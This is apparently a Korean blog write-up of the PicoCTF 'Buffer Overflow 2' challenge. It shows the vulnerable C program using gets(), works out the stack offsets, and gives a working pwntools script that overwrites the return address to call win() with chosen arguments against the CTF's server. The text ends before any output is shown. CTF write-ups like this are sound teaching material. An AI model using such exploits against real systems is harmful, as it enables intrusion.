Pwnable/PicoCTF

Buffer Over Flow 2 -Pico CTF-

KSJ._.seven11 2023. 3. 9. 18:59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

 

 문제의 소스코드는 위와 같다.

 

실행하면 아래와 같은 화면이 뜬다.

 

 

문제에서 알 수 있듯 버퍼오버플로우를 일으키면 되는 문제다.

 

이후 IDA 를 통해 입력을 받는 vuln 과 플래그를 출력하는 flag 함수를 디컴파일 해봤다.

 

 

사진에는 담겨 있지 않지만 a1 = ebp +0x8 a2 = ebp+0xC

 

이다.

 

그렇게 스택을 구해보면

 

.

.

.

===================

 

v1 ebp-6C

 

====================

.

.

.

====================

 

a1 ebp + 0x8

 

====================

 

a2 ebp + 0x C

 

위와 같이 구조화가 될 것이다.

 

ebp 6C + 0x8. === 0x74 --> 116

 

으로 더미 값 116 - 4 를 넣으면 a1 값을 변경할 수 있으며

 

 

0xC - 0x8 == 0x4 ---> 4 가 되므로

 

4바이트 더미값을 추가로 넣으면 a2 를 변경할 수 있다.

 

그렇게 페이로드를 작성하면 될 거 같다.

 

from pwn import *

p = remote('saturn.picoctf.net', 59133)
e = ELF('./vuln')
context.arch="i386"

offset = 112
flag_addr = p32(0x08049296)
p.recv(100)

payload = b'A' * offset + flag_addr
payload += b'A' * 4
payload += p32(0xcafef00d)
payload += p32(0xf00df00d)
p.sendline(payload)

print(payload)
result = p.recv(10000)
print(result)

p.interactive()

 

그렇게 실행을 시키면 !!!!